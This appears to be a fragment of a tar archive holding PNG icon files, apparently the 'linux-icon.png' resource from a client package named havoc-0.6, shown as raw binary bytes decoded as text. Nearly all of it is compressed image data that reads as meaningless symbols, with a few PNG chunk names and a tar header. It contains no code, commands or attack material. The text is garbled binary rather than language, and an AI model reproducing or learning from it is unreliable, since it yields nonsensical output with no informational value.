,Yᶡ.K0t-ߊKP)%CjdX2 /q#L`b"Ъ,{V5xJ=nGhYGvK #GUP xlc0GF zz&&fBT$Rj2U-7pnfϫe@c ˏ>a56m+L$ޯv#4XÒe5l˓6rxI,db:8j"p5M&֒%l1Lʈ ++$7f,Y­1Gae?+qȕ%Si3CUS-ٲZ9M-LbW|bdVf2K'ܲ~Y QAFL'-EwwdڍvQ,7dʓmB 21febͤZCtRKJ/ކ\>KsIYރk*tٵW.Y)@d= y,T 3:P\U4Vm[+0WjB+ߕPCd/V\,l37_,Kd%[K\f 22U,jjuL8n>vEa%F5ʁ ņ5=4b8E97*ԘѮDJ,?+td+KKmʀ7M|6jRN]Y [rYK BNl3D0AVGI@ƵdNǒmج:ŪRٱdIF#ʨLe:8#m(6\M;G0|04@ F1n(3c[DAl 5d|VY&UʁX]URcalf7wJ0}@vh? -c8W\~B+./YS;Y27Ȭ4(FfbȠm**PopLE=y(V1C {i+V 5I.0ʎ.e%(PSTe,TK]D-uUQr fZ2"ـcz۰F{d0K]KnL$$[C2fYVh 6Vdsn؏khg"3CW݀Sh-zpL= HAC)-udß6Ȳ2Ƙ\jU*۬\Gy`QYWA9ܸ1Ax2, KH5Y2k-7Yь-g1!Mɖ:y2]g21VWO'5嶬GcMC M)fu}`=*kbf@  XBG~ck &J&4rjVwVMom'z(u/9qt0v7E%k)d _x HjjV?bN78Rx^:w DD4_|O!ꧏQҟ{u<0xP[Xd\&.tvvjl-?},?}q?uޥ8;ꯠ7SN|_7)t?;8~*l>>9a0hdM_䫟歾}8ФhRM6~I<&'''06֜t;t5%6h<I/_;=F_dZ?2{~+=(?[!|C7rP_C| |ʁ'r0W_M诂O}yoF(K;8͟iu>g53@ZTL-.-ūziS1J,S0$]aFrKօ knSvA(6 ^/\U +UOOyN5eA.~HJ9O*WĿWg&|X Aƚף OŎ70Q(4&ȲW:%xG~8l`١JÑ!Ȑd1׬X ?dR6&fqQ<7e&M5'm`*w佖p_-_L\7>#͟i^ ype: [^jD@{ O=Xx-w(R)VSW*}-PyB dy*0E%K&%;@٤a K8`d.KQ f\0%xpeRy+â*A-;J4bxyK%C5CK .}-٬ +3}bbmJңR㜪tXi qeL_ CKVNErʅ=r={RMpZJOLıvӒ%4d\a \)N~0 ̏dEEŶ)seqp13Ӓ6gr&@Q~`F +qH+d5ȖBoh1C#˝KO:i2$YX2vd]IcKʒXpK:fђLaxe΃QP,S-6b}q_`r0S#c=U\3ҙ{#greZ`H&pR`!#KvA%KƱH/K&ѥ~YY!X20eɦ ;d6lwe3w83&r޹Ŕ rMr&J[f.KV^[rFsSJdyQ$󖓞t,Y2&L'>"ii/oZq0S#c=ȓU̓oB++qDѥrXϓ0'b,9y[T;Z[b`H_;thF td%%Dɲ2Oico0. 1?9g CKV㐑iʓQb!VHud*|dȒ%В(8lUQ,̖%djgj>Z(0V"~ux5\Б̄˓9WZFsM$J)rI~O`U>\RpezKU嘞LQ~Y2θYdOgQ7<1eD~1nv~P+td!C9d'SZnGZayd=1CQTTjEGV1cZNlM:qdO5oi#.ImֹbI2w'}Uv|8 +R /Vl[ƫ~&3eL&zK[+%K1w9d% (6ۖ&Y1c`SX6F;T A z2L51HNRhbV$R駨7۩elaQvԽ|.d4ody('ɰrz3_}Kj" 50d=Ky+7Q0;尫zهTx@LKňW)Iرt5\qْ0bfC=[VۅedsБx=2I= 0X٤Ov*Tmjz-;eX %m!f]e&e$3H5h=bx҆gyБGR`Ċ4%TM{ 9& -Z,y{Eih͒am1q9 cʊy )lT)(tda r̯)tv[ni%Xj*b'#;dĦ)%ې+.y-m riyD3XUXAd _FOSmft\1<95'Ɍ=HȒhYXL!i6z`0njYd.i*P6~P+tda*rBoHbIJj¼JiLBƴ ,SJ̒IEsW8}~-+Sfw( 8tdJAÔdk.|VXAe=]ڱl\Yl%^JH1?ElF}[^O~K6 V +qfb~?kɖ뽔ĒUVZ'6?9T-ܛs]@,BG zHfY2-׉'HP  NXk 9d:2V0}edF}-OL/Nmp5: 򁫛X<5=NL:2V0d%[jd3%td)Y`\pbZ2oQcF{BG zfٿ$[:-0pQJ&)IWD4yENQl+K6d) {,+td!%],٤8/MRkȳW:% 5]8䄒l1 .-/-S:CRJ^:YPUXACndzu.$lڥOLWJf,s9TO 5U8RNIdj}bՂ˄k%-{?s2Ԕ:2V+JF2Ó#4-0ؒNCI.,Y$ e)td!g&YQkrnj?,^u?vuڒIRdCK :2V;r̬X` Λj޲e4U{Ey1[RwN!BL)q!HV^W,*%SӔYY25o9J0T߲da?TDAC.\ezd`2-t%sZ^ORN?dL8ܞ̬ud)Kdxݔ"%%遱^u5a)YБ)=9&߄ ڑdn㩓dvJNud Б RkrxZQ,ɨ"Ɏ#߈n\UXACn/KVΒSl lkCO֩,Yg}v뷿-LP9Бܔol;Kn92$KEwt9nJ6MGF#ݦ,G:2V㐛rM\b Kv&Y2[gRNcJ{Ldۿ=2%a6ZPXAC*ic0lrK.5o){Ӿp3qdlƖ6ٲY~Be[#c=9LM\V$[T-GS G$aEu%3bKިWR#c̐d9БUQRKf,Ɩ7u%YZ%Kbcp,!n' 58䨊\$dh*mG[[QtV)yY e)-8 KRKFvd$"rj!$$i@49\VXACȒ-/5-I2'Y-ݔFN3G02$o22$YL W:2V㐣؇D[2'Yj- .#4]O dɔcВBG zrT$YJS sd7U%sݔd*`l #,G:2V㐣*d#R[60$S-Œ4uG6%,:2V㐣r^qYв%MEC]l1I6o#2٪ВBG zrT~ -1I&%[i,~qdȑWVl]ڟ!ȦdБpڲn%ldڲ%#eJdnvbhIzrݔY@Б1a#Kcr:e$oő_oݔ($KW=b-73d,YN(td!Ge rkRP֩dH)%Sf윁)wudS,-YN)td!Gמa82ZiwM$ˋSW2XJ=bȦɱe,Y(td!G2״%*,R$[1,8-dYK_M3CZQXAC*#[`s%MRW%y]-"vjlچ@vef +qQ3ARn];2 -o"ɢ/7ђFIq,#>;UB#c=9*?;Aܜl_S;h&%w%$pbld , di-YPsБUZq_vǑ3pd$YKDĖ#+d31d[f@*C8RfvbKsfdTJ†\apl 9vz$ X#c=9**Ȝ$MUHސX$F ]#d3sd` T#c=9*Oh{:e@U %J3[4>m))td!7eÝ"+5/cؒMӑ)CFۑrqr(IP+td!7e,!Yg{'&l92ZԎ*+4H_)Бܔ d zGF829AjVrd2Ԏl$ s9Бܔ+,r92@cCđe4mɋ: $EfkNZ [ +qI:IVT~c@2G٪q k9J;G#[/9c +q-)WoX 82cΒ Y/]XrCVR5d҉LOZ3,K2g,Uv98\ 2,"S5ḏ^ LK녑!dCrZ *CBG zrJLʐ~'Cۻw8mv7v5yAeʗv!LKH~呬IdȱIsv@+yvC~ Nli!978Z%<ǎ0~C^v#dVaظ?2ol!C=*uzd{cL$9V9v=e?Կ޽ X9VWOK {d$^ k+"FَYr_š{,Ug_$"[NnIzX[yno82|rG+~sr\zxGAFAY"[Y;M)[(SCc`$+{,߹#d Nd8"RAv~OI׶yo^SJc7YX 2DrawRIN L w{Nd;/ͳ[?vFȂ׻v fTUKqyɕNcYpcR՛7?z ==L=%[-JE,wR g^ UU9&A6| `}ٱ%H?J%+:/6ASXY `] ^ 6#d]f1m#[*9qyYO̽_됭Qn1`Ikk+oޘً֋+,NKwCSd{9.c=[x{!CVWiΟ3WbAfّK`cAv {M^lF/A.U3sT=d={] /I39cΕoKdX8lWSrw$I&"؋CpKwLdr+1KՒwC`vS:X읛c&L7G^{ Mcm!#ǠE-2dlo|LX ANo`y 2y/#D4/YfgEK_^"ӭuŻJEϡ1\k]2=A!_nEfNde~8s7'cd=WdGVK}Ջ{t.~9Y,UI{^ilQybFcD=2i^c4LAV1Smo/撥cR! r=f q'_ͪSNKw)GL /u{^-ۦ 2d+Lc)_&뭽";goy<" W2o!=pRUd_:D6Xjpn=nEK"yLb"ٯR}1Y`VE%'KDǪc5Y;-ݫqgW?Vddcboڪɲ4lun n 3P̭fYXL?WܯȤozd_t" oLj968ȏR 2.EQ"ǎ|2;C>ZmUd˶o2^7+=nZٓOP5EI?=)4>-uEwX| r2(_/h$hy^l-y_d^ ^Ld_LOZdX]4?$c{x?%vatj*>Q'KHKq=_*e_n{ų.q#)"嘴XiCuӚ#{ GZٻ^^hdz$ [ddo5r1+ꢌ,_ L>IIeKn/l<,-2D?VTKN1ˋ{zեQN:Tgz)TE&=n_{z78K2"s٪Agb9&X[wћ{B?(P=6sdeZM2]D:\vVdO:*ڈGؒ.je'R s+'桖&˝O;v_ 2weYӪ:\(؂1{`C%2Td?5ٓ#wb{'=I*l̵oV> .(Σem|u;{919UP鱆f92"[woLUd{Ud^If*2e޾/U'L 8E>T:\Ʒ/W4L=7v3#2cB3C Vd-ɱJ1]5t56cᬢ=[e=ҽj5.dOzݵ^Iww?Y>d9Vb؂ 1)lN1v.˪tLf\IElyeOIvWE&]29(3I'<\bL);`N W^[(ُzBWd%s'bMImnE&NX^pU0713Z-eJU 쉬 xI¬t{'/|=*<8P/{{' 1}JRhI^XӊTaJIṞ<)v\X9gvf|inM~w+ߞ}[gkM~ruC&,U S*ȋ&X1=OrAWx>=^꽸q{|Rٳ΄311QZJnPA62*kڵ5oo68,8\ԧ?}UtɉP^wg7?y+3cgarTTui^իWTIv~UM ]}cߎm].ommlŝC57UG}!L?:ElrdPfT }eX:JtM>96>6;173sd*Ȧ{7$H=6ΕIM|;RL7/)(59us'Y8VAV勗'9dWQI6HuRI6?o*+׾nBc/$rj 2U9qt0I&Y!?tx~qtt|rV>\߽;=rrwZt]vmf;uI&Avɩ. {$/g:[9+rd9TKq)ɮKI9ϖw%ME6Jo69irSYlYsLi.VN@@Ҙ .Y./I&%J dQ,IDATsduIL5uS7U'1]9ʚJa@H$fnhdccsss^Ivk0G+d3G&YRݩ-nlm9\f\s qthdC!ulrV.\^J;7{eˑ[*ȾIvEUd"T%٥8 Kw5˃k Z.Ultt||lV-KIvN쒍 d7UdRNt#=1떁 trCC*ɤ$ &ٍ;*FŸA*ɾ~$̌.rŋN[dY8\>ZdHRXQUd$J2ɞ?]NQ2cf&+2ٟ"K}1$WY>>::ɼ$SQNL{U*2U8SY2YcQXq `<\nLd^ݸsJ2W9vٌ9ZEV+SeF68dRIlTJ2d*ȮLWL-oo&If[2c2Q@H _/)~I6.8("b*2dmG6_le(ʖ $Y&3끚,Ȯ\gVE6yq| M6`dy ]j2c$ (떭L'YS+/cd&0b%ʆzџQ&ٍ['x鎒uc"OTE6* `*hQd ^5,?CU$F/:nESlɻriNҫ}2U]~޽OoS&ٕ+"&JF+2eMd:7Id^̭̄9\$ U]ZURfT,^}2/ɞw;^hy IT]F6.Y `ɥ,g,Wl듵j2Qm_YUVIpE@a?tM6we;߭Q6-{bܼUdNE/NM#H$\Rs>J;eJ21ʲL_l#6` .My5Yk2֝s6 3Iv]X0F5Se /.䌎>Yg?'[S/GFnI_Wds*ReVQH,]]hŘWxa- x=RUU˭ Ř\t$,g~tɮ/^J+܊l]"SGKT]:Yf&ƚ 0dӧKOV,̻xy5x$퟿VdՕa볙N3Cqq}bexy(O沥Ȯl(avkǝNg-z #L`LGY0f^61TXn7؀M.0[ .$3Y&ɲY|劌 @(Lnrܩ,7weR0yΑ2(3 =|n/2e `)dy|eeV*˟nA;؀uA?uDN3פS^h~voeA&؀K$dzpJr #/)Xe*$olG?v6y`F@6RfL^S.oyɱL0N/cʔZg1؀6k:eaT6ZI{9܈pA @jYh^DwV677?l~E^FQ 3 ñcf._,V~㧴<"0TeFvJKqil~dljݲd12, ZH5}"fN? 3G(gK6`i>)N/Ћ1BJ"P%ٙ @Ird1TYdD26`g._1?t>&΢4؀dVd]va8oVӊ< e;T _H-ـdU5]:dI?cF$c%JsHA52|e 6`YcYJrLdzdl2&kfS&0xZ2Lی_ @N-'K6`hKl@ c_ (-2dB:/0hznlFI&0QL 0hi|ቼ +"F @F8nDnɍ@VXE;YGea8Ҹ:(R\3_>eOGmJ@u[r&Q[RT,#ͩJձ8[6OI(~ E=rfH4O{tɚ +)gwYP G;04+dC=s2<;H]2ف,^i!D풱H-2O;.,Y i.xtl@:)2hIl6U&Ȁ4,E5IO/rJV2ŰEٰlҧPLЇHW.kc@dfNyHk8+Af0r1I+(cJêgN:AUheXrҢ.&eCEk-VkΥ?;aٵ ^H5SfǑ3gnYOQ&cS˕CI+}g_T:2 Iry) H{̷y'+5 yإSK{͸kpl4O B3~[Ri-ɚͦW/r2=60+lF$+sH.xit<2 ^-\nXjHQ8Ds}8sQ&[c(s9@b 6>;ee֔_p.XuiiF`{<{UfWU2ޘTcce|U1.4B~H(a5ӈD`WDz;g~" z9q@=D 95;K-Dȳ?bG_XqiWv +#rs%}kD 8^/ |9G!S(tM}F'{RW (ItsnϏy'fag@/}D݃%$Nfmo\Q^_Z~C!\ ;qbX[>IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/linux-icon.png000066400000000000000000000734771467014221700243050ustar00rootroot00000000000000PNG  IHDR =PLTEGpLܽVXXUXXVYYYZZpqpSUU@BB@BBABBMOOKMMLNNMPPSVVJLLHKK@BBUXX@BB­­xyw„q<?BBVYY’VYYVYYxxuVYY @BB 0͡ohKgji!!!!! ]U8{$ƚڣ##!}%%$((&ACCü,((&5/0,RTTװ\K/.-++*C9<4SD%$777PQQHJJz`eQK?ѝߨɗoon | EGG:6(222oXסv MNMq fH@*aaa===# lvs|xO?/\`#~߾|}{_~՗>y㣘}ͅ?Oϟ̹h$wdW_}뽏{}Iؤ}s;2@Zs|ي}^N_@]hqŏ>njϯ DTﻻfOeǰsgbŎľzEVJ Ò;0X0;?|Gbg"ej˺oݹ~}Չ$YdSD3,_.bTfyT~b'{2nO?;ch 8qZF3L/eܰFe?2/ 1Ѱ)r~-}/.}ocJ1#Loe/gx+~zCFKe ʂKeJ:{һ1 ʾ?܇}[ nnPv}1?=p/^J'\m=!u=?:xgq2z.~zL؅o¼BcO\ǰg%dr ؎}W<wɢhL͙x 1&1'~-W)>dO&?Wߢy2vL ~(ve| ȣd_M%;3>1?+_~S߽y%KvHFɾإsǣo>4>")2 ȽM|)\=XH=O.1:}MK%ddY%;*}p"N^4n=>-dtn=:dcΥ! _N_ȸX!E^d㴭}pB )VɂN*6: -M,$*ǑAݟ^|B I];oD U6`bG0 'H8}ɾʹ }%Ynⵓw/$ sb?ۯ0;|Ğ}REG 'bG(}go_3,Hϐ})voׯgoN})|BbG0_~~x0229yNȃ_{_؊02gyggaa5;mg$2^#OM^G|B/^zuۯ( pF%}}s>{K>rn0QOJvuW~\" p%Ycn)v}~!UmsK#;p?F-Տ{?$?>d?Lޏ 㮭dbG0^W_`Ko!y^xn)vu3D*zf2C+L-V3{!:d?L.#8vV0">dN.3|Ċx?"}+2.8)b3ANs6a %eaCCuu}Ս-n(,$(m0:AN#{AXddHEhIX]_cpkk|}}q^dY3oƾHf\@Bvpð  34Vc+HK3e [JYd\87484TaeC-z6`lbbTrJ%'ПWeQc{fͬom + @BFSCf_+ -cgíLS.k_Gk*Vǎ͊ JJE3 d!; 'CJK0]L,ihlM3Y}lB"!f!#)f,8.O 0m 0O`Č&lZI&2̯ d! dR )-k՛t4<َ3+Ƥo+aS2IL`3e,VMYqk]IE$R&2 dCO*iRYH1Q"eY:kp]) ʐ2!d!XQ ;K9~'%gie !#E C4 >tmfkŠL4A$ŗ5[ŝT17UD% d! Ufh5<6-!K d! Z+ ƈ n+FcIH+BF2ic%}VސjL)BF2IbTbgyK d!nZY7Gb0&BF2 VMosM+n,}b:s2?ExdEXKq8X"%;iA۱ҡLVBPd' !#SLJVϛi!ePd' !#.b=cDcm +ENBF2&S5Jc,ZXW$ dXHI^* bLl0&;IA;,*ik|?9[0<%; ALYW/cGjJ#1< A,>p+ieNk.-o&i \+ Őw2 Yxdh4s2;AwizFNW.}!#$}c,pN dBzJ^2 z[|ThW:4d?Һbi^,^5 .}!#ǗZOT⾊x |!#_2v@v*'/?S !#_ǗXO Y mO!>/(SBFb8G2"Tn}+K[>=u MC2Oƽfy^pKLxAGKZCs1H, !#dᑥz؝9JCB&:S;Xy AD. ;gky6A$̒#늰/4 db; aYF$8 dbT#29Wnij)AL,NFdmGlx1^jwd 6!KkwP22IQ7YrnA{/\/Gg椻یK;0-ӆncG2I |,ݰ9;-MXiJKzj/{/&7J&Ok-~A d! Bopƶq,9w`Rswƥ;TuxwE2A d! lQ7;un yڛ29es %u3o 2a d! ky FS=TΌEjF]dpl,۬y}U&6v;D-2n'nBƅL,܈HȌMN6*]=OTf/^gFzt@FaTmKu{%'V-@ȄL4/Fi)HHIOȋp#%p2,*sy%0vPִtN1oO\; !#hL]uUJKBFG@׽)Kw}p:j잓,^ IDATYr6^64mu8r{by#UD"d@B& ٰM͙얜:/uo8|3/u3\OݟJ(?WmҒsNj2_@B&MloRFl_WՆN ,.f9;V1I c.uaCks?B& d.M;8"3^8%FA0Zcq0kpu5cXs=-9c481e@1v2( dQӈPֺ5#"w#H&5fј[jaiwxR0_[뱥!BF2p!3 e'KJNB~eoZw-3BC! FCB& Y5f6)CV1`1^c>wq1{4Z2gt7f؈{C2qn[Mwϕ1=4$Sq1^qs?cr'^'1 2 Yeu:zQgRz=يCjgJ8A ;"CȄL4l,?Iݽqh_z'!Stݰ9|rÆcR\2! d!=d}݌ فj8f1C/Gdg;&: YDBQqm|CGȄL4jtpDvoq )v+ 9vp\Dz%V;$K]7l SK d! ПgwFd8ߘ%l-,g852vj !#h}[ Y1ꨭdJ6d.#ܻ>dwL%B& daCVW?d c;0Tpr_{cqJ)2s}ȚRL1s>2L AD<t918&軖co: Yr#d@B&!3g0*g֜[yGt?U0d<_LjL(AD:d18xk mm`T&ϸJO>tG!s|$%.!kAL4Ui{͔ۜ:IaJ%9n]jVojBe]]irohwu[`2Q43 n2"/=c},eH6gotͤ$Y8|jkn !BF2qCi{ӴuB{^d iR13?mtQ5)kcwzg2-K dKO2{;"CL4BӁouxnF9Y2\cGdJKZJqLc(3p/JSK';^`2 Yjs灃 S` { lAflmmmL,q`Ths􂂎(B]Kbj) dBj/pi o{GFӱ7rPɗO=zѣO'Gܜq1~-(|k`&k|a5ͽWBAB& Y1Ʀ_-F@#B߻7M/<#,Cɧ˫sϧ8sז'ٚmb_?9{mltt~{,?yՒFd022iR 1dw4lTmgϧ++ss^cCnxe`g/W'j5#eٝnzF)m kdBAB&w92|ʂ1㇑jN*ٟe]yy0MXG'C_))12J67dg\o{L1)OC52 d! %-VÍK݊rv A];1=ҳ05&[J & NL>m\--GC0hY7!ÈL(AD#/?x?##v2B6mO5G'%EG{;IѹUMNOjTί%߇^mrRDN?2!d! HAcv+{o8_bT?F5F;'9=} E /,A:AB&:"pT}][f;ٱ/N<:{/;|ZQcup2a?d !#xdl2Dԟ׌N *\l~:`݉{G:~ԏ !#xؐQZm:xWΨu#ϧrN JmZ}ݦQZg40yc!BF2K뎄,PKz(hjop츣7 6eCƨmf#dBBB&!c7oϛt6*Mӹv#5)rj ؎-f|̻7fsB&( dBV|x;5gN'rN+*ߥITȜ}%Exeep4|?YUFe se #ϙ^LAÆ(8HDMNV&O9Lcduݞ'NIiH/YZ?F褤_`|2\s%FdAB& Y}̑ڶֻ ʂwC Fm9lxLQdn}pp!aCת*hRN}xi@$:!􍡸EIAý5^:MhE$;ǚ2ߜ?STٳjJ>l)+r?3M&?lyu}d6FuMGЕ{M{p? dO;2;oۃ%w>c~SըcLJn;,CxiCju~ iщUsS29X*z#!#hDV{aQM.uo;}dYC.`}2TDNg9EFVknclPp9erV G2]f5B& d"YѐqY\@`cLz__Xie3~IWܹ5fxɎG۴jL+5td$؀ 7!ÈL(ADĆ\]vR0WbaROO%Có-SNRtbÍu Nh(*W' 'Ɯ;SvTvGLjLADD!: /Q)-][(XMۃG4dj',W =/e2v$:c}eD!c5mJMON$ B& d"C.Kڢyair9QDŽ*VYJhɰSԎEǗ:!dAB&"6d NBhj{gƲi}897ۊ)T2;.ZƶKmN)` =d:6d2HYsIcO7hrnäP Fd !#:Y}umc/)e#4dk4" 2NVt2JY䣩AcvIܣ0h85|i%Uh,>dN' d"DZ!KsZ6*V:;8郶Xq#2? d")ؐ:Z2vZP%*QkWt$ÈL0ADąLnh^k啥Z6 !#!s<"xs#湗۵G.~.d8_AD$SD: è^Q6"Kl~3]+#2 d!,<>2m\e!«dܢWLDvյ "?t(ZQYtVsv !#(d޵TƷJ?.έzwg !##11s9ϫ-2! d!'OM%ngk YZ !#]>h~2ؿ:dS]!kALDVӁ{- ?G>g_cm)AȄLDBmk.cpšm IIS5#d@B&"i^?d*ͧ\)ۡI쐬;i< !BF2qEeűgh1O>,bMzS) !BF2PȆUsMR<~X?sˬ²8? d #:ɭ >0 LA# 2yȳK“<7m+ܹr0WK|.kpD2GZ/d%,WPzE'׮>4Z_T:xJ6zck22GRh2M;&{V]wH$>YdMc;Vc7lǺ ېe4#d!d!LlxȌ<}3"SV6^+MYcszZA? daCVT6lڷoLy4zDgc~8q~m L&l}YV|XVCB&FVhz͎=2EZDebe6uie^̶ڟ+bC%_ADcY5ɞ[2WOd촲g41'7$ͻY=ylf_VCB&2߮}y-=>rNgL_9%N=DƖZ-L4܉wٌ雧OvZ3Mևs'ztbsZ5-w! [ / do@kq/zfmivLvr湫Ziie% ޤVVE22FPDc'p8;\}f&f;=f8hwpH02N;˸IT -YHZ^YJ]Zq}9pɿ.!K+ ي!d! 궑}*vLӵM?}6b_R9Ki5W]?Ldd7ykIu8ɇ7 dbmduWn>w5oMgݾ+{eU;۴ډew>WcpoA" wp8ɞ D&KSpr;/IplxɔV6}kz\tn䄎 +6!;xBB&:lshwM\laF[2zo[L$tҐ^ukUG^I^nt鞹AK&KL[^gZR%wD 2F!Z%_AD­g::?1lT]6=]M~~!ZxX8xZseۤ$ ]}hTUō( e (ADBXSb۶>LbB+i%#p<>mzy~4-OO&^]rhljge~IT\xkD^T3sݜ ޯs-%~2[ۛM/]~HcR\539p&=^T&z2(Jyemhngny-U1Ř[LtY^[i]:4Jm^:m՚'W] RRbZϴZ3o- {fv3size*&킎v<9:cQ!}Hl\[\W%AaA}jsW^N/Ѡ6~]d+O/>Od.ͯ_ lPN+קbUxl?@y弎 ޯsP-@B& :W.,W &h b i7W'FQt"f[<~K ZQYT3ƨZv%?~vnvsK2B_Z?ALms-ߚ^#A&V>y|< [];>=SjCM@j2ؐ ,?&VW,>2B0lus1JS4P%FdzZ_jf瘎WщWT-?|pze}~ss啛i=lɻl]3 qN,-#d^CB& :0et &ǃϦcK6|VC}q՞\B&Q(evaqqq͹>LJZnөs11 -1ƠέԂCLR<˄kx@B&Y69R Rׂ j6et d'K,܄,ж67&[\ug_ըѮ<[],CiW,]֋BFEy=wT@abeyMщU +tYrFe4lqcql!]xQ2,E\Q]}oiƼ9 w:^?\?[U^Ng^{C)"Y`J[?C !#ىG6DƆ{+YX"RʃtFչ[.瞮 BFDY{,Α(W^Pؔ=]ju6njNlZXVV*:':Ʒc97 ceQc@BvrґzYrvCu}"Rj'_>z|2FfofIISϟ=z`^pE8[TnNYbX."fc@Bvr5aked; leJ՞չ烃V'Gl/0 o[Sր7/$9g (J2չ6pv?eDANO7jlt> l|PRPrmayӗo]k0SJ:sLcΧ{%u`Md(2n@frBI$ 䄌̀nQmjMp./hke5o*f0׬HJB-irوɥ2ubdad-^q7_/_ 2ht<+KѦV)MR*;pLcNYsKj0[*vrY!2zdɀ,и؟xIi)HTc6 cOiw::/"} Embb센~d dc "sfvg#f3I$1j5`3dzə BQy!#ɐyȒo&gTF$'v;cM5AfH pcc. rd(~m;BBv2GnT1汮/bl`tkl|-`1%,^\߽A:,jQ pg2v@Rjc{+#ϋ(-y 93]]wꚹp;E+"g[k1-؃ d'BIkF<ԵX ((KX|3< [gd:}u(`x!#ىP]MȌ>)g Fޮ@G6b=$ЀѳY\%X,JHb\z!# d.I= 3pI_LXsCBvd%'rĮ ]f!C&  d!=iM,[ [r|!C6_{BB{a'{aޑ1O'6d!BF2GV?NC2c(~*.dn d!9E\Q7flPED{bHK2f. d!+2qONKk6aCK'a d>F+CizAS7gy?(g7J=,y0 w̷d<i3x_&KsKZ&k)XW2; .c1=ݷw,r\& FȜBBSo&~ߪmR]VZR7k[4MBF2{ZoJf*. d!%BWtE`&e/C2[zpb !#_;p+A񐜺)Y>vYw!#)L_' TٗB#Q22LV@eTwulF ܒJ&O2SA|{bI2ۍ<-K%WɸK dB[aKZ< KTݛRYg6¯b2[h %; !#zbhGy;ʌ-AO~[2m1-!dG!d!cCxbI3ˀtrz{)!5a_cA|yze\+)5%{b}(A|{W%Sv/V_- 2,'dZ -"%2=@۔ޕL.GAB ܫIyHnK}fI'^u`,߇#2LYZwW8jXjϒӞ-7;Q2 v†OYJ@J*V@yBF2)ʆ3c9*am%3$d@@B&8_sM3KN ,Ko,> d!~6ߣ!n4L-/l}S2HBF2ћIui\gCֽ!CJylZϡ8 d⎼7oQo;3J\p<+4do!d!wM^w)->95G d!LВ;1%2d9)JFTaBF2!ɂ~. K;ylTl$w|7$pi[AAv7 M9deiq8[Av,dzKbT3"џp8BF2ЎF {Me*8%,R0wŠ d!"8o&٩ROx-YrXlɸ,!dv@螾zW dq4-l_r,"d!L\Vh%;&2#(e®O.!yKV_W%Bf h6O&2ԱnߜJf'ǚ ÊBAȄo٣=˷>U F1BF2d tw2ƶv,Y>]% e6p2 d#/{F[LS7UY3?wG^16dY6|tXm}]Y_&CB-NX!S;$~]A/y8a bGy3cf:J76ğARkz?QGm{yq-퓯2$SD2oؙe\Lgn0]VtdAxoDV[p %Ɨ9r]fcY> !#?$gU{SϺ!#OВ0CYYCiHY~n'"824DPZZZTwGB[I|ddp!d7B g3v;q2@\b2HBF2ICB iA$ !#!d!4 d @2HBF2ICB iA$ !#!d!4 d @2HBF2ICB iA$ !#!d!4 d @2HBF2ICB iA$ !#!d d @d B ;I @|E;++؟!dž5Jz2>!Y~*zf2CH ?B3/t}!/_`D 2Ym`؟"٦ro6p%8ZL ~3w Bu.kϋJ?F3-JvMB}.r;${sC.s˧+$ή}2V@ȣJDVyABWxv p/܌B3dyU0VN,ʋ#i%Bo#= _ӳp |V:9ïcBvpTƶldrr*md[/]JGȈ!_r~~?qB~#2;?kdvbFdvbFdvbFdvbBf'< dvb{Vq;8~]l 0xgH(N! J)%PURIEH *BHE ʟItwpRGl'Z-u?:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&] 3I2:0@i?Rc ﻩXL::O?=`z^::懯NoONO_홓:0L%Y@1u`9FGK 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]2M dt 4:0@iu` ӤAIL&]onn>"CiuqvՎnH2;dtk~/vu|\;;^\.Se2M1VϏ.|{oΫc>&]R]_}mQvem2MF]_}v..Nk\Y Ӥ޹9>?,2Ηv!4:gWџucߔII:LzqÏ Ӥ뀮R2M誛 ;HŽ Ӥ뀮:5ȎXv&]tUqF1z&]tA:L sAI]E Ӥ뀮2 2>.2M*ӧ_AI]e6GFAI]d2M*w-$% dt]/vw/~v&]tG0,=L`C)C ӤߜU/;m@iu@)Jn#4:klwϵAI]VW/ܒ^VyfiL~uv .h,@iu@%&]t]G]0oL~,!!AI=pSrwZ#Ǭ@iu@ԯjv?XdV 4:eIO,mAiu@OܨlwAIqsud-DٮߏҏY Ӥި=YKd~ kdt#ꞬzQAIRa1Xڄ Ӥީ./?Օ]_1oLz~suΗS1JdtS~N/Ώ.ne{{G܎ه Ӥ=itsIDATު7ѿlwzZ]p=fLz͏iZ=qAe ^SIvsuuu||\Վf QHO|t% h7'v$&c_?sQMz)dFA6;+?!gKZα)od)w7`QG6$?sCZ&}fdKc1d&GٱH@0ß~c'Sk1.`TZΟٸO>{#۞XΟst1s;+^a T?ɤ#[ZHPǔܕ`jpG6.%S"w8`'%>3ttLp-+WJř?[gҡ\DI:}:H,`#)ٕ-;L6:<|#HǥӧK `62p)"<ld2N",Wczrvte_+lMS,<,5H˩tJ:y:l%`Ǯuߐxfֱ~t?`lYɥ[7  2"I6 2xgd=a'+ҩꖌY2F,'ݼ!S%, ag&\!SXCGz]H o feɝհsl>_< D垣'˯^2\}gf{9鶄|BaFO,K gǐlq L'3ꉥc{~OP.1 S/AQd\!5=Td>l"%?ɸ&+,Zx? `6 NߎP3~hS ՕqWXS+tcSKk`['Ywe+z*{hҍ.n۱߈ ~Wv7 U͘ p?339;42bEmݧo5H7֘X\,TR~GW~m}كGyߛi@Ge1Ic[tEKߗmW'3g?}ںp)F=xp]tӣjmE0|d&6` b&6`м#cMF?3"^rBygd-7kV>T ?d疀Jֽ0t/N;疣#9~~Dzƛ ^%Diq~m叛t}fo9Z}KzWZ_[dс<)"okJI ["l-c q v_+; >23t?`7doܒV%o[n%J1aLn2ͅd 9f6Ka X>C֤^Rt ?T2^L>x?VdE+?O}c>z9ɑ 3zQe<`%/[Nv._6h\fbimHŁ[NvL`xr X'Jsl68\'|4`/Upc5|l `/Qsew\F79cf3ͅa.kxŕk>P>EKX"ri7ԅ,6 ~-MھL.3񑅔tu vxAb01>2`?ǜo2M D0OQC{f.kcn^7IfpOH2]!Iޏm ?Dܓ! {Uɀ^V7{̏$m% d)4;@͓EG< /Sv_<60|d@xKaD-Z d\>K T"Taq+?E}ɋQ2V($QJM9z'Vˀ=Y9+@XDD_+^{xz<)BKc̉tAꢬl, KK2='NvTSLM- yz 